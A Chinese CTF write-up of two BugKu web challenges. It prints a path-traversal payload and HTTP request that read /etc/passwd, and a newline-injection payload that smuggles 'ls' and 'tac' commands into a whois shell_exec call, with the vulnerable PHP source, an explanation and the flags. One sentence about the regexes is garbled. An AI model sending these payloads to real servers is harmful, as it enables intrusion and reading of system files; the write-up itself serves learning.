文章目录
- lfi
- 题目页面
- 恶意构造
- 解题思路
- Whois
- 题目页面
- 恶意构造
- 解题思路
lfi
来源:https://ctf.bugku.com/challenges/detail/id/429.html
漏洞类型:文件包含漏洞
同类型BugKu:baby ifi、baby ifi 2
题目页面
恶意构造
http://example.com/index.php?language=../../../etc/passwd
解题思路
bp抓包,之后修改GET头,加上恶意构造。
GET /?language=/etc/passwd HTTP/1.1
Host: 82.157.146.43:16461
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
flag:shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}
Whois
来源:https://ctf.bugku.com/challenges/detail/id/432.html
漏洞类型:命令执行
题目页面
恶意构造
http://example.com/query.php?host=whois.verisign-grs.com%0A&query=ls
http://example.com/query.php?host=whois.verisign-grs.com%0A&query=tac%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
在 shell 或终端中执行命令的上下文中,该$字符用于表示 shell 提示符的开始。它本身不是一个命令,而是一个表示 shell 已准备好接受用户输入的符号。
解题思路
- 利用JS读取工具可以发现源代码文件
- 分析源代码
- 进行恶意构造,利用回车的URL编码绕过第一个判断,之后使用命令执行即可
- GET传参数
进行命令执行
解析
<?php
error_reporting(0);$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";if (isset($_GET['query']) && isset($_GET['host']) && is_string($_GET['query']) && is_string($_GET['host'])) {$query = $_GET['query'];$host = $_GET['host'];if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {$output = "Invalid query or whois host";} else {$output = shell_exec("/usr/bin/whois -h ${host} ${query}");}}
else {highlight_file(__FILE__);exit;
}
?>
<!DOCTYPE html>
<html><head><title>Whois</title></head><body><pre><?= htmlspecialchars($output) ?></pre></body>
</html>
让我逐行解释一下代码的功能:
-
error_reporting(0);
- 这行代码用于关闭错误报告,以确保不会向浏览器输出任何错误信息。 -
$output = null;
- 声明一个名为$output的变量,并将其初始化为空。 -
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
- 正则表达式,用于验证输入的主机名是否合法。 -
$query_regex = "/^[0-9a-zA-Z\. ]+$/";
- 正则表达式,用于验证查询字符串是否合法。 -
if (isset($_GET['query']) && isset($_GET['host']) && is_string($_GET['query']) && is_string($_GET['host'])) {
- 检查是否设置了’query’和’host’参数,并确保这两个参数是字符串类型。 -
$query = $_GET['query'];
- 将’query’参数的值赋给$query变量。 -
$host = $_GET['host'];
- 将’host’参数的值赋给$host变量。 -
if (!preg_match($host_regex, $host) || !preg_match($query_regex, $query)) {
- 使用正则表达式验证主机名和查询字符串的有效性。如果未通过验证,则输出"Invalid query or whois host"。 -
$output = shell_exec("/usr/bin/whois -h ${host} ${query}");
- 调用shell_exec函数执行命令,使用指定的Whois服务器和查询参数执行Whois查询,并将结果赋给$output变量。 -
highlight_file(__FILE__);
- 如果没有设置’query’和’host’参数,或者参数无效,则显示代码本身。 -
<?= htmlspecialchars($output) ?>
- 在HTML页面中输出Whois查询结果,使用htmlspecialchars函数确保输出的文本不会被解析为HTML标签。
正则表达式:
正则表达式的意图是仅允许字母数字字符、点号和连字符(对于 h o s t ),以及字母数字字符、点号和空格(对于 host),以及字母数字字符、点号和空格(对于 host),以及字母数字字符、点号和空格(对于query)。考虑到这些,以下是一些可能的绕过方法:
- 逻辑短路:
- 如果正则表达式的实现或使用方式存在缺陷,输入可能不完全被验证。例如,如果系统在验证通过之前就执行了部分输入,或者在正则表达式匹配后未正确清理输入。
- 正则表达式实现差异:
- 不同的编程语言或库对正则表达式的解释可能略有差异。攻击者可能利用这些差异找到绕过的方法。
- 编码和转义字符:
- 通过使用URL编码、多字节字符或转义序列,可能在不违反正则表达式的条件下使输入被解释为有害命令。
- 逻辑误用:
- 如果验证逻辑被误用,例如,在验证后没有完全消毒或引用变量,可能导致注入攻击。
flag: shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}